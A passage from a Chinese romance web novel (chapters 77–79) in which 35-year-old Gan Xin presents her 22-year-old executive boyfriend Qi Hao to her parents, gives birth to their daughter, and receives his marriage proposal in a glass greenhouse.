互相呆滞了一阵,齐灏喊了句“叔叔、阿姨”,就帮着拿东西,又给他们倒了两杯水,放到了餐桌上。 现在二老坐对面,眼睛对着甘歆和他来回瞟,没人开口。 齐灏清了清嗓子,甘歆却抢着说了,“爸、妈,这是我男朋友齐灏,今年22岁,是一家上市公司的总经理。” 二老露出的表情难以言喻,对年龄和工作都有些不可思议,“歆歆啊……你找了个22岁的男朋友,还是个总经理?22岁的总经理?” 妈妈的表情一下就心疼上来了,“你是有什么想不开吗?我们也没有催婚啊,你不用骗我们的。” 甘歆有些哭笑不得,“妈,我没有跟你们开玩笑,是真的,我们已经在一起快两年半了。” “两年半?!”爸爸的声音突然大了起来,“他他他,两年半前有20岁吗?!” “……那会儿刚好20,爸,”甘歆皱了皱眉,“你们记不记得原来奶奶家,201有个来寄养的小男孩?” “记得的呀,印象不要太深刻哦,他长得好看,但就是太安静了,不像个小孩子,后来听说被有钱人家接走了,噢哟,都不知道是不是亲生的哦——等等!” 妈妈抢了话,啰嗦了半路发现不对劲,盯着齐灏看,“你别告诉我你就是那个男孩子?” “……是的,阿姨,我是201的阿灏。” 父母二人的眼皮都撑开了,妈妈连声说:“我们家歆歆35岁了,不是25岁,不行的,我不同意,你那么小,等过几年你后悔了,我女儿到哪里哭去?” “阿姨,”齐灏的声音一开始很抖,慢慢就平稳了下来,“阿姨,我喜欢甘歆十几年了。” “十几年?!”妈妈捶了捶爸爸的胳膊,“你听听,十几年前你多大?你懂什么!” “阿灏啊,”爸爸清了清嗓子,“我们说点男人之间的对话。你要怎么对我女儿好呢,你22岁,才刚刚大学毕业吧,男人不好说谎的,我们歆歆虽然年纪大了点,但也不是好骗的,总经理是怎么回事,你解释给我听听。” 甘歆提了一口气想插嘴,被齐灏按下了。 他起身走去书房,拿了甘歆的平板出来,把早就找好的新闻截图给二老看,“虽然我也很不想当这个总经理,但我确实是,我8岁的时候就在201的的赵老师家里学金融知识,13岁开始自己操盘看盘,18岁正式入行家里的公司,21岁的时候完成总经理的交接,我不会骗她,更不会连着您们一起蒙。” 二老的手在平板上来回拨弄,看着几个新闻眉头越皱越深。 “叔叔,阿姨,我的家庭有些复杂,现在也因为特殊的情况,我没有办法登门造访,真的非常抱歉,日后我一定补偿。 “我8岁见到甘歆,就觉得她很特别,13岁离开后一直想念她,等到了十五六岁,才明白那种感觉叫做 喜欢,我找了她很久,也用了很多办法才能和她相遇。 “我知道我年纪太小了,她也因为这个拒绝过我很多次,我们实际没有在一起两年半,真正在一起也只有一年多,她也是挣扎了很久后才决定给我机会。 “我真的很感激,但比起感激来,我对她更多的感情是爱,我爱她,我非她不可,我没她不行。 “我预想过很多、很多次上门求娶她的场景,实际发生的却如此仓促狼狈,真的非常非常抱歉,但我请求您们,给我个机会,给我个能与她长相厮守的机会,也能给我个照顾她一辈子的机会。 “无论面对什么,我绝不临阵脱逃,一切有益的可能性,我都会毫不犹豫地给她,我在此保证,绝不会让她受一点委屈,求您们,允许她嫁给我。” 他这一长串说下来,所有人都沉默了。 甘歆也很意外,他求她父母的,不是准许在一起,而是允许她嫁给他,他竟然在她不知道的时候,悄悄打了腹稿,也不知道做了多久的准备,才能像现在这样说得那么流利。 父母对视再对视,最终妈妈看向了甘歆,“歆歆,你想和他结婚吗?” 甘歆先看了一眼齐灏,再笑着看回了父母,“我想的。” 爸爸看向了齐灏,“你刚刚说,你家庭有些复杂,是什么意思?” “我……”齐灏露出了鲜少的自卑,“爸爸妈妈在我7岁的时候离婚了,8岁妈妈离开后,我就没见过她,我15岁的时候才知道她过世了,我爸现在就世界各地到处逛,一年见个两三次面,我是……跟着我爷爷长大的。” 父母又愣住了,一副欲言又止的样子。 甘歆心疼,不想他再继续剖白下去了,抓过了齐灏的手,“爸妈,就这么定了,我心里有数。” 二老叹了口气,也是妈妈先心软,“女大不中留,你主意大着呢!” 甘歆起身走过去,左边搂住了妈妈的脖子,右边搂住了爸爸的,把他们往自己身上带,明明是对着爸妈说的话,却盯着齐灏看,她眼睛里的光又亮又暖,照进了齐灏的心坎儿里,“以后你们也是齐灏的爸爸妈妈了。” 对面的男人瞬间嘴角瘪了下去,单手掩面,遮住了自己迅速泛红的眼睛。 她一不做二不休,紧着对父母柔声扔核弹,“还是宝宝的外公外婆。” 第77章 第77章齐灏,我爱你。 劝服父母接受自己怀孕费了些时间,但既成事实,也只能接受,就是对齐灏的不满意又多了一层,连看他的眼神都是冷冷的。 甘歆暗笑把妈妈带进卧室,大概说明了下这孩子怎么来的,母亲只能指着她在空气里点点,是责怪,也确实是心疼。她坚持这个孩子是上天给她的礼物,也向母亲表明了即使最后无法跟齐灏走到最后,也会将孩子留下来的决心。 她性格里的善良和体谅,都是来自于母亲的温润柔软,妈妈的眼睛里有着泪花,抚着甘歆的发,说以前她不想结婚也无所谓,但没想到一下就怀孕了。妈妈话碎,字里行间里都是担心,甘歆红着眼抱紧了她,说是她自己愿意的。 和父母说定下周出发去北泽的事,二老就回家去了,临走依旧对齐灏没什么好脸,爸爸更是,一张脸铁青,一副随时都会找齐灏拼命的样子。 齐灏只低着头受着,一句辩解都没有。 收拾的事依旧是齐灏来,他让甘歆坐在床上,将她放在柜子深处28寸的行李箱拿出来,刚展开到地上,齐灏就蹲着不动了,表情都遮掩在了阴影里。 甘歆有些好奇,探了头过去,“怎么了?” 齐灏头都偏过去了些,“没什么,我去给你倒杯水。” 甘歆没有叫住他,她知道,齐灏心里难受,她自己心里也难受,隔了许久的见面后,又需要再分别一段时间,也与上次分别一样,连归期都需要碰运气。 她始终没有问齐灏,需要给他多久,她不问,齐灏的愧疚感就会少一分。 这杯水倒了很久,久到他回来时眼眶都红了。 甘歆假装没看到,喝了两口后对着他笑,“谢谢老公。” 坐在床沿的男人愣住了,好像石化成了雕像,看向她的眼睛眨都不眨,好不容易才说出话,“你叫我什么?” “老公。” 齐灏的眼睛眯了眯,整个人都往她那凑了凑,“什么?” “老——公——” 他拥过来的手都颤了,将甘歆紧紧抱在怀里,身体相接才发现,齐灏的整个人都是抖的。 他什么话都说不出来,好像连呼吸都忘了。 甘歆轻抚着他的背,又拍了一下,“呼吸。” 她这才感受到他隆起的背,还有落在后颈的湿热温度,向来清冷的天之骄子,这一天已经流了许多泪,甘歆一下下地缓着他的情绪。 是她自作主张,但她想喊给他听。 想告诉他,孤独是曾经的,他已经与这个世界建立起了更多深厚的关联,是甘歆亲口认定的丈夫,是宝宝的父亲,是丈人丈母眼中带着点怨气的女婿。 齐灏追她追得太久了,甘歆却鲜少回头,两个人与其说有缘分,不如说是齐灏费了许多功夫才搏到了一丝机会,她终于不再抗拒、不再犹豫,将自己坚定托付,向他奔袭而去。 甘歆曾经以为,当自己真的到自己走向齐灏那天时,这个年轻的男人会像个胜利者一样逆着光欢呼雀跃,但事实上,此刻的他比任何时候都要脆弱,仿佛一身的铠甲瞬间幻化成了柔软的花瓣,又被不知情的秋风一吹,露出了他处处都是创面的心来。 世人皆看齐灏坚硬锋芒,殊不知越硬的东西越脆。 她像哄孩子一样轻轻拍着齐灏的背,又用脸颊蹭掉他的泪痕,“齐灏,我爱你。” 齐灏在22岁这年,初为人父,也终于能够像个普通人一样,在情感满溢的时候,哭出声来,他点头过于用力,以至于下巴触碰到甘歆的肩膀上都有些发痛,但他实在没有余力去顾及这些了。 他们的拥抱终于松开了些,他拥手掌揩去了余在脸上的泪痕,握紧了甘歆的手,眼里深情似海,“我觉得我坏透了,算计你,引诱你,几乎十面埋伏,还在你最需要我的时候,不能在你身边。” 这种时候,所有的安抚都会失灵,甘歆索性撒起了娇,她挽住了齐灏的胳膊,故意夹着嗓子对他说:“那你以后会加倍对我好吗?” 他的嘴角终于扬起了些弧度,眼神里的不安都少了些,点了点头,“会加倍对你好。” “不骗我?” “不骗你。” “会一直对我好吗?” “会一直对你好。” “会……多久?”这个问题是甘歆试探着问的,她没指望从齐灏会回答。 他只沉默了一会儿,默默计算了一下,“我8岁前不认识你,不知道我以后努努力,能不能把这8年补上,抹个零,算是完完整整的一辈子?” 甘歆笑了,笑着笑着眼圈就红了,她伸手怼了一下齐灏,“说得真好听。” 他吻了一下甘歆的头顶,“宝宝作证,让我证明给你看,老婆。” 叫他老公的时候,甘歆并没有多大的羞赧,他低声的这一句老婆,让她直接拉高了被子遮住了脸,齐灏隔着被子又亲她一下,声音好像又低了一度,又喊得慢,“老婆……” 秋雨下得急,匆匆一阵就停,齐灏又往箱子里塞了一两件厚衣服。 几番商量后,齐灏用甘歆的手机联系了沈确。 接到电话的沈确很惊讶,不论齐灏说什么,都要听到甘歆说话才放心,齐灏忍不住翻了个白眼,他还能绑架甘歆不成,甘歆只笑不回答,眼神里混了些揶揄,毕竟谁也拿不准,发了狠的太子爷会做出什么事。 电话里只说请他帮忙将甘歆和她父母送去北泽别墅,具体的原因没提,只说见面聊,沈确说要过来,被齐灏拒绝了,气得沈确在那咬牙切齿,甘歆装聋作哑。 最后几晚,甘歆都是在齐灏的怀里睡的,耳畔却没有他绵长均匀的呼吸,她知道齐灏几乎没睡着过,或者只睡着了一会就醒了。 他还会给肚子里的宝宝做一些毫无章法的胎教,主题无比简单,就是不能折腾妈妈,他一遍遍地告诉宝宝,妈妈是他们两个人最重要的人,在肚子外的爸爸会帮她挡外界 的风雨,妈妈的身体就交给他了。 应该说他幼稚的,可甘歆却说不出口,她只能抑制住涌上鼻尖一次次的酸意,心里对着宝宝说,爸爸也是他们两个的宝贝,希望他能够快点忙完,早点回到他们身边。 转眼就到了约定的日子。 甘歆的父母已经在楼下,她两手空空,齐灏拿着两个箱子推进电梯。 只有在电梯里不用推箱子的时候,他才能腾出手来握住甘歆的手,看着数字慢慢变小,齐灏的手劲慢慢大了起来,说话都显得严肃,“等你出发我就去联系我爸,我会尽快过来,别担心,什么都不会改变。” 她以前也听齐灏说过这句话,代价就是他一刻不停地忙碌,甘歆拽了拽他的手,“别太大压力,我会照顾好自己和宝宝的。” 沈确安排了辆保姆车来,几个人先将甘歆父母二人安排上了车,才在车边说话。 他见到齐灏有些诧异,却也没太惊讶,仿佛认定他出现在这里是情理之中,只是依旧还是有些年长者的关心腔调出来,“寰科最近有点动荡,不少人露了难看的嘴脸出来,你快回去处理一下吧。” 齐灏不搭理他,只说:“你要将甘歆亲自送到那个地方,中途不能离开,到了地方给我打电话,到时候我会接的。” 沈确噎住了,对着甘歆使眼色,“你老板被训你也不管管?” 甘歆咬了咬嘴唇,又抬了抬眼睛,俏皮的神情里还带着点得意,“老板没有老公大,我管不了。” “我——!”沈确收住了脏话,看向他俩的表情都无语了,“是是是,你俩伉俪情深,我留职留薪做公益是吧。” “好了,”齐灏在其他人面前总是不太给面子,“每年递增7%还不够你给她发工资的?真得让审计查查账。” 沈确无话,只好点头,就是在知晓甘歆怀孕的瞬间,他差点一拳抡向齐灏,被甘歆眼疾手快拦下了,“我要的孩子,你打他干什么。” “齐灏,”沈确依旧有些冲动,“你怎么回事,没人教过你要做措施吗,又他妈不用你生!” 甘歆拦不住沈确,但齐灏没有反驳半句,只是沉默挨训,说到后面沈确都觉得有些过了,才停了下来,拽过了齐灏的领子,拎到了面前,“我警告你齐灏,你最好快点收拾完你的烂摊子早点回到她身边,不然别怪我到时候落井下石。” 齐灏的喉结上下滚动了一下,点了点头,“好。” 甘歆听这话不对,抓着沈确的胳膊问怎么回事,她回来后没再关心过寰科的股价,也没开口问过齐灏寰科的状况,但沈确能说出这样的话来,情况应该挺严重了。 没人肯告诉她,甘歆着急得不行,她绕过这两个男人,要去拉后备箱车门,“你们喜欢把我当傻子一样瞒着是吧,行,那我不去了,谁都别管我。” 她缺血的症状一直没太改善,孕期的脾气一急,就容易犯晕,眼见着要倒,被齐灏快速抱住了。 “别急、别急,”齐灏扶稳了甘歆,又去抚她的额头,“感觉怎么样?” “齐灏,”她用力抓住他,眼睛死死盯着,“寰科到底怎么了?” 他紧张地确认甘歆的状况,看她没事肉眼可见地松了口气,才开始回答她的问题,他将手盖在甘歆的手上,又捏了捏她的手心,对着工作,他语气都轻松,“真没什么,就是有人钻着空子搞点事,爷爷好像身体确实不太好,我回去处理一下,很快就过来。” 她一时间不知道该问寰科还是齐老爷子,看着齐灏的眼睛满是担忧,“能行吗?” 亏齐灏这会儿还笑得出来,他嘴角下压,眉毛却是上挑的,向来淡漠的脸上竟然露出了些玩味和痞气,凑到甘歆面前时,切了个真诚的笑,“你信我吗?” 甘歆想从他的表情里找破绽,只看到了满满的把握,“我信你。” “那你在北泽照顾好自己,”齐灏忍不住又将她拉入了怀里,好像怎么都抱不够似的,“我会尽快过来,我说的话,也都会实现,你要信我。” “……好,我信你。” 他凑到她耳边,吻了她的脸颊,“等我,老婆。” 道别总要说再见,保姆车启动,齐灏关照她将车窗关上,别吹着风、别受了冻,甘歆最后还伸了一只手出来与他说再见,齐灏往前追了两步,等车拐了弯,彻底看不见了,他才深深叹了口气。 他不曾想让甘歆受苦,也无意让她难过,她虽总是拒绝,却次次都是包容。 让自由潇洒、鲜活明亮的她甘心为他坠落,齐灏觉得自己罪孽深重。 他就站在路边,久久停留。 又是一阵秋风掠过,才独自徒步往江边的大平层走去。 他要拿回该拿回的,也要让所有人认可他认可的。 齐灏年轻,没人阻碍得了他想主宰世界意志,也无人能挡他想暴烈爱一个人的心。 第78章 第78章“你好偏心啊。”“是啊,我…… 三个月过去了。 北泽偏北,入了冬就开始下雪,将积未积的时候路面最是湿滑,甘歆已经显怀,被家中的几个长辈严令禁止,不许再去花园里了,如果一定要去,就只能坐轮椅,她被这样的阵仗吓着了,见哭求无门,就在和齐灏视频的时候告状,他竖了个拇指说他们干得漂亮,甘歆哑口无言。 齐罪在收到齐灏消息的时候,就已经快马加鞭回到了北泽别墅,再见到甘歆,只说她实在没眼光,怎么还是被老齐家的男人捕获了,她哭笑不得。 父母是见到这栋别墅,才真正相信齐灏是个有钱人的,之前在甘歆家,很多猜测都没法说,但碍着女儿怀孕又摆明了喜欢他,说只能配合女儿演,给甘歆笑得不行,后来耐着性子给二老完完整整地介绍了一下齐灏,父母又都沉默了,他们说,怕他太聪明、太有钱,不好把握。 甘歆也不再劝,这事顺其自然,得让齐灏证明给他们看。 就是齐罪和父母见面,有点尴尬,两相无言,沉默居多,但时间久了,他也会和她爸聊一些养花草和钓鱼的事,大体上还算和谐。 但他手笔太大,比齐灏还夸张,直接请了个医疗护理团队驻扎在家里,每天给甘歆记录体重、血压,连超声医疗器械都端了一台回来,还嘚瑟地跟她说是进口的最新款,她每每说不用那么麻烦,齐罪就拿齐灏压她,她拗不过,后来连带着父母的健康都被管理了起来。 也不知道他们齐家爷俩晚上合计了什么,被下了禁足令的后一天,就有施工队进了家门,乒乒乓乓了三天又走了,齐罪跟炫耀似的,将甘歆一家子领到到了花园口,目瞪口呆地发现竟然造了个全包的玻璃暖廊,一直延伸到花园中心,衔接了个玻璃房子。 齐罪还说,太仓促了,但为了健康都用的钢结构和防弹玻璃,没有胶水,不需要散味儿,连供暖都安好了,甘歆父母怪他太铺张了,齐罪只说怕自己安排得不好,儿子从来没求过他办事,他也想表现表现,甘歆心领神会,试着往暖廊里走,三个长辈都惊着了也跟了过去。 她终于发现齐灏的细心是遗传谁的了,玻璃暖廊里装了一整条扶手,还是木制的,扶上去也不冰手,甘歆回过头对着他们三个笑,说自己特别高兴,也让他们也一起来玩儿。 有齐罪在,甘歆很少会感到无聊,他会和她聊天南地北的文化、见闻,也会和他聊齐灏小时候的趣事,他也和甘歆坦言对齐灏的愧疚,8岁开始,他基本没怎么参与过齐灏的人生。 父母周全的照料,齐罪的风趣,医疗团队的专业,这一切都很好,几乎解决了来之前的所有忧虑。 但对齐灏的思念,是无法替代的。 也并不会因为周到,而降低她孕期情绪的反复,甘歆从来没 觉得,自己竟然这么能哭,眼里的泪水好像决了堤,有的时候只是因为一件东西掉在了地上,有的时候只觉得今天的天气更冷了,因为有专业医生的指导,大家也只让她发泄情绪,只要不太过,就顺着情绪的舒坦劲来。 甘歆清晰地知道,这种哭,和在视频里见到齐灏时,止不住上涌的酸意完全不一样,所有人都围着她转,齐灏却依旧是一个人,她见他在视频里又瘦了,有的时候聊得晚,他的下巴上还会有冒出的一层青茬,眼睛下都有青黑色。 她很想问问他什么时候来,但开了口却是让他别着急,她在这里都好。 有的时候,她会强制在和他视频时让他睡觉,说五分钟后就喊他起来,齐灏起初不肯,甘歆就拿宝宝要挟他,可齐灏不吃这一套,甘歆就说那她自己去生闷气了,这才让他架起手机肯闭上眼睛,不过几秒,齐灏就真的睡着了,甘歆心疼得直流泪,却默默将麦克风关掉了,在这段时间里,五分钟就会被延长到二十分钟,甘歆再叫醒他,齐灏从来不嫌这五分钟漫长,他只说他的老婆有魔法。 又过一个多月,就到了新年,齐灏依旧没有回来。 周泽倒是来了,带了一车的东西来,吃的用的,还有宝宝的,他见甘歆大肚的样子没太惊讶,看来齐老爷子已经知道这件事了,这方面的话题,甘歆不会主动去聊。 他还给了甘歆两个红包,大的薄一点,小的厚一点,说是齐灏让准备的,大的里头装的是大面额,小的里头装的小面额,金额是一样的,甘歆拿到手里就知道齐灏是什么意思,大小要顺利、大小要平安。 甘歆还是叫了周泽进了书房,她让他先上沙发那坐,她走路已经有些慢了,但周泽依旧在身后护着,直到她坐下。 她还是忍不住问了寰科的情况,周泽的表情有些严肃,将事情从头到尾说了一遍,齐灏的突然离席,让原本以齐老爷子为首的那些人,从围剿齐灏,变成了围剿齐家,他们通过运作稀释掉了许多齐家在寰科的股份,加上老爷子身体确实出了问题,没有心力去管,齐家对寰科的控股已经降到了37%,这是一个十分危险的数字,走低到三分之一,很可能失去话语权。 他又说齐灏在最关键的时候出现了,力挽狂澜,又联合了洲海,并拿到了两个海外的超级项目,才慢慢将股权拿回来,现在已经收到了45%,应该没多久就能回来了。 甘歆听完后久久不能平息,手一直在抖,8%不是小数目,得和多少人每天交流多少次,又得在脑子里预想复盘多久,有没有可能连新项目的方案都是齐灏亲手做的…… “歆总,老板让我原话转告您,别担心,什么都会不改变。” 她实在没忍住情绪,转过头去捂住了嘴,深呼吸了好几下,才接着问周泽齐灏的身体状况,说到这个周泽轻松多了,说他一直在坚持晨跑,除了睡眠不足外,别的都好,甘歆这才放心下来。 她知道,齐灏这么拼,是在拼他们在齐老爷子那的一个点头,是在拼他们的未来。 他多么想当一个普通人,却为了她在拼名分。 事实上,她的父母也打过不少次退堂鼓,他们对齐灏家庭的“复杂性”有了深刻认知后,觉得以他们的退休金和精力,抚养这个孩子也完全不在话下,但不想让甘歆受豪门一贯的苦。 但齐灏在拼,她怎么可以退却呢,更何况,她也希望宝宝能够受到认可。 年十五,元宵节。 周波来了北泽别墅一趟,甘歆和父母原本想上楼避一避,被齐罪拦下了,说什么也不肯,说就大大方方的,有他在,什么都不用担心。 甘歆能感觉到,周波看到她的一瞬间还是有些惊讶的,他的眼神从甘歆的脸,挪到了肚子上,只微微欠身与她打招呼,“甘小姐新年好。” “周总新年好。”她不方便欠身,只点了点头。 周波带了些广粤的特产,废话没多说,只让齐罪回家看看,说老爷子年纪大了又遭了事,格外想儿子,齐罪只笑不答,问他还有别的事没。 他说的话向来代表老爷子的意思,就提了两嘴齐灏这几个月做事太着急太莽撞,怕有后顾之忧,让齐罪劝着点,齐罪对着甘歆笑了笑,她也揣着明白装糊涂。 或许在这呆得实在无趣,周波当天就走了,齐罪只让甘歆别介意,老头子顽固不化,别因为这个伤了她和齐灏之间的感情,她笑着说不会,她和齐灏情比金坚。 三月开始化雪,甘歆的肚子更大了,连坐卧都有些困难,她还是坚持每天在透明暖廊里来回走一走,尽管医生早就定好了方案说要剖腹,毕竟年龄在这,若是顺产需要的体力更多,更何况她依旧有些缺血,大家都不敢冒险。 三月中,距离预产期还有两周,甘歆入院待产。 离开北泽别墅的时候,她回头看了一眼,表面上没露出什么表情来,心里感慨不断,她在北泽别墅的这段时间,齐灏竟然一天都没来过这,甘歆强忍着不去想,她怕自己伤心,也怕齐灏担心。 入院前三天,甘歆还有些新奇,连带着周围的一众仪器都研究了一遍。 第四天,她开始有些坐立不安,她想等齐灏来,但依旧没有他动身的消息。 第五天,她只看着窗外不说话,手机也扔在了一边。 第六天,紧张得过分,甘歆问医生自己怎么一点感觉都没有,让他们紧急检查下胎心,气氛都黏稠了起来。 第七天,甘歆哭了,她说她恨死齐灏了。 医生几乎隔一天就来问她有没有想好要剖的时间,如果足月了有发动迹象了再剖可能会遭罪,得到的答复一直是“再等一天”。 又过了一天,再见到医生,她主动说明天就剖吧,等真的拿了文件来让她签字,她又犹豫了。 甘歆妈妈见不得她这样,抢了文件过来签掉了,就定明天。 她从中午开始不吃不喝,吊起了葡萄糖,又喝了泻药,就等明天手术。看着点滴管里的水滴,一滴一滴地往下掉,心里好像也下起了雨,不大,绵细如丝,却容易将整个人都打湿。 下午备皮后,她对齐灏会来已经不抱希望了。 晚上,甘歆抓着妈妈的手,说自己小时候的事,说着说着,就含着泪对妈妈说她辛苦了。 次日,甘歆反穿上手术服,护士又将她的头发都拿帽子罩住了,再三确认了个人信息、过敏药物,又反复关照了术中注意事项,最后告知了时间,一小时内基本都会完成。 她躺在了病床上,紧张得手都捏紧了,指尖冰凉。 病床解除了刹车,甘歆父母和齐罪三人,跟在病床后,一路到手术室门口。 甘歆深吸了一口气,闭上了眼睛,等待被推进去。 “等一下!!!” 安全楼梯那有了骚乱,护士站的护士们都站了起来,连护工都从各个病房里出来了,这阵骚乱很快从楼梯口卷到了手术室门口,这个还穿着西服的男人领带早就松开了,跑过来的时候气喘吁吁。 三月刚开春,齐灏却满头大汗。 他冲到病床边,双膝着地直接跪下,握紧了甘歆的手,眼里都是慌张,呼喘的气息把他说的话都打乱了,“我来了,我来了老婆,我在的,我在的。” 甘歆的眼泪溢出来了,也捏紧了他的手,她终于等来了她的丈夫。 “怎么是跑来的。” 齐灏笑得和那天爬23楼来见她时一样,“电梯太久了,着急想见你。” “我就进去一会儿。” “我就在外面等你。” 甘歆张开了双手,“抱抱我。” 齐灏俯身抱住了她,在她额间留下了几个吻,“你要平安。” 四十五分钟后,护士抱了个婴儿出来,说恭喜恭喜,母女平安。 齐灏来不及看女儿,只问能不能进去看他爱人。 他将西服外套脱了随意放在门口的椅子上,罩上了绿色的无菌服,走进手术室,甘歆的脸看上去那么苍白,几乎一点血色都没有,额头上都是汗,但还是努力对着齐灏笑了笑,他抚上去的手在颤抖,又在她眉心落下一个深深的吻。 “老婆,你辛苦了,我回来了。” 甘歆说话都虚弱,“宝贝长得好看吗?” “没来得及看,在妈那儿。” “啊……你好偏心啊……” “是啊,”齐灏用脸颊蹭她的脸颊,“我好偏心啊。” 第79章 第79章你愿意嫁给我,与我共度一生…… 女儿盖着粉色的襁褓,被甘歆妈抱在 怀里进了手术室,妈妈的眼神也慌忙地朝甘歆看,看到她虚弱的笑脸,才微微晃了晃胳膊,对着小婴儿说:“宝宝,看,这是妈妈。” 甘歆的手下意识地朝着女儿的方向伸去,妈妈拍了拍眼睛一直没从甘歆身上挪下来的齐灏,又拖长了音调,“这是爸爸,爸爸抱噢。” 之前和甘歆视频的时候,她就让齐灏抱着枕头练练姿势,可枕头哪儿能和真的宝宝比,他伸过的手小心翼翼,女儿靠进了臂弯时,还下意识地说:“妈你等等再放手。” 不知道是因为看着齐灏抱女儿,还是齐灏叫妈,甘歆的鼻尖涌上了一阵酸,一下子收不住,竟泪流个不停,倒尽了齐罪口中齐灏小时候忍受的孤独,也倒尽了这段时间对齐灏的思念。 他明明一身疲惫,眼下、下巴上都泛着青,可看过来的眼睛却是亮晶晶的,手的姿势一点都不放松,但全身好像有光辉,他空出一只手给甘歆擦掉眼泪,再抚了脸颊两下,才俯下身给她看女儿,声音轻柔得和绸缎一样,“真好,长得像你。” 甘歆的手指轻轻抚着女儿的脸,长长的睫毛和眼线,现在就能看出有些轮廓的鼻梁,心都软了,目光追向齐灏的眼睛,“眼睛像你,想过叫什么名字吗?” “阳阳,叫甘阳,带着甜蜜芬芳的阳光,你觉得好吗?” 甘歆哪能不明白齐灏的心思,他什么都想给她,但她捏了捏齐灏的手心,“阳阳很好听,但让阳阳跟你姓好不好?” “跟我姓?可以么?”齐灏竟然在这种大众共识上征求她的意见。 “嗯……我想让她跟你姓,”甘歆又捏了捏齐灏的手心,“她是你的女儿。” 只这一句话,齐灏的表情就绷不住了,本就充血的眼睛更红了,他颤抖着唇吻了甘歆的额头,“……谢谢你。” 甘歆对着还没睁眼的宝贝噘嘴,笑着喊她的名字,“齐阳宝宝,你要健康长大。” 特需病房的照料很周全,母女二人都做了完整的检查,但甘歆在这睡得总是不安稳,好不容易等到医生说可以出院,速速就回了北泽别墅,医疗团队换成了月嫂、育婴师,还有就是……齐灏也跟着一起回来了。 他这一个月几乎与甘歆同吃同住,连工作、会议都是在这间卧室里完成的,前几天甘歆躺在床上,擦脸擦身都是齐灏做的,每每擦到小腹,他便会盯着那道疤痕看许久,吹一吹再吻吻周边。 齐灏从来不问她疼不疼,剖开了肚子哪有不痛的。 其实这些事,甘歆不太愿意让齐灏做,她妈妈也说,这个还是让妈妈或者护工做好一些,不然太直观会影响感情,他依旧不让,说是他欠的,得他亲手来还。 得益于孕期的精准照料,阳阳很健康,睁开眼睛后更是漂亮,粉嫩细软的皮肤,还会对着人笑,长长的睫毛好像嵌在上下眼皮中间了,连挥手的小拳头都很有力,齐灏抱着就说像甘歆,张牙舞爪的,长大了也是个狠角色,甘歆都懒得理他。 齐灏每周给她们母女认认真真地拍一张照片,冲印出来,在背面写上日期,再放进相册里,甘歆问他为什么不一起来合照,他说他很享受拍的参与感,因为他是爸爸,是爸爸拍的。 出月子后,甘歆终于得以出门,第一天出门,齐灏却将阳阳哄睡后交给了育婴师,他给甘歆洗了头发,擦干后又温热吹透,坚持给她扎了个马尾,又给甘歆准备了两套衣服让她选,藕色的针织长裙,和藕色的休闲套装。 她从早上就觉得这个男人不对劲,总想撇开女儿似的,但没戳穿也没询问,只顺着他的意图走,她想看看,齐灏到底想干什么。 甘歆最终还是选了藕色的针织长裙,只是还没换好,齐灏就出了房间,正巧路过门口的齐罪看见她,说齐灏好像被临时叫去开会了,又问她开春了阳光不错,要不要下楼去花园看看。 才没提起来多久的好奇心被扑灭了,表面上欣然答应,心里却没忍住笑自己矫情,生了个孩子好像都娇气了。 齐罪陪着甘歆一起下了楼。 奇怪的是,今天别墅里好像格外安静,平日里即使没什么人,但也能看见一两个忙碌走过的,但这会儿都没见着人,她好奇地问齐罪:“今天他们放假?” 齐罪愣了一秒,随即笑了,“都住家的,没什么事的时候也不会出来啊。” 她还是觉得奇怪,但没多想,跟着齐罪一直走到透明暖廊门口——惊得说不出话来。 玻璃内侧装饰上了花架,花架上坠满了藤叶和花,莹绿和粉白的搭配,梦幻得像童话里才有的仙子拱门,爸爸妈妈就站在门口,衣着端庄、正式,看着女儿的眼神温和又期待,甘歆这才发现,齐罪今天难得也穿上了西装,不得不说,齐家人的身板真的很正,尤其穿正装,都显得挺括。 甘歆走到爸妈面前,妈妈率先握住了她的手,又抚上了她的脸,“我女儿长大了。” 她还是有些懵,看向爸爸的眼神疑惑,他却说:“进去吧,阿灏在里面等你。” 甘歆的嘴角禁不住上扬,她好像知道是什么,但又不敢想太多,往里走的时候一直在回头看,她看见爸妈和齐罪站在一起,又看见齐罪抹了眼角,她很想回头再说两句,可父母的手势却一直是让她往前走。 在快要走到玻璃房的时候,她看见了一面全身镜,还有个放着好几支唇膏的小圆桌,一定是齐灏放的,他总是这样细心,照顾着她的小小骄傲,她看向镜子,自己比原先圆润了些,气色倒是更好了,肚子还是有些大的,但今天的针织连衣裙做了很好的遮挡,带着毛毛的平底休闲鞋看起来有些可爱。 她又站远了一些,镜子里是自己,又好像不是自己,少了些扎眼的明媚,多了份柔和的光辉。手在几支唇膏间游移,最终选定了支柔和的偏粉裸色,抹上后抿了抿,又整理了下衣衫,慢慢走进玻璃房。 这里几乎被花堆满了,花香几乎要让她醉过去,再往里走,摆了一张欧式的沙发椅,上面放了一支帮着丝带的太阳神玫瑰,再抬头,就看见了齐灏。 他穿着裁剪合身的深蓝色西装,站在一架黑色的三角钢琴边上,系的领带是甘歆身上的藕粉色,发型明显打理过了,本就身姿挺拔的他,显得仪态气质更出众,帅气的脸上没有对着外人的冷峻淡然,而是温润如春的表情,像今天的天气一样好,他对着甘歆伸手,示意她坐下。 甘歆的笑容从踏入这里后就一直悬在脸上,她将那支太阳神玫瑰拿起,在沙发椅上坐下了。 玻璃房的混响真的太妙了,齐灏叩响的每一个琴键发出的声音,都能精准地送到她的心里去,有阳光、有青草芬芳,有繁花、有万里晴空。 音乐停下了,齐灏没让甘歆起身,从钢琴另侧取了早已准备好的33朵红玫瑰,几步走到她面前。 就这几步路,甘歆好像看见了火焰。 齐灏单膝跪地,捧着花束,看向甘歆深邃的眼睛都快盛不住爱意了,他声音低沉,向她真诚祈求—— “以前在你家楼下,抱你之前,我问过你MayI,刚刚我弹的曲子,名字叫DoYou,我很抱歉,在未婚时我们就有了阳阳,希望我的请求不会太晚,你当然可以再继续考验我,一次、两次、一百次,我都会坚持,今 天是我想说,”齐灏深吸了一口气,神情有些紧张,但看向她的眼神始终没有躲闪,“甘歆,我爱你,你愿意嫁给我,与我共度一生吗?” 这和甘歆想得不一样,她以为进产房见到齐灏的那一面,就足够体现他的心意。她以为,他们日后只是会有一个家,她是妈妈,齐灏是爸爸,过着一家三口的小日子。 求婚……确实是她没有想过的。 可他说得那样虔诚,连她的退路都帮着想好了,是他想求,她可以不答应。 齐灏第一次闯入甘歆的人生,是意外,之后的次次相遇,都是他有意为之,她不知道全世界还有谁会比这个男人更有耐心、更专情。 他的年龄、身份,好像在此刻都不重要了。 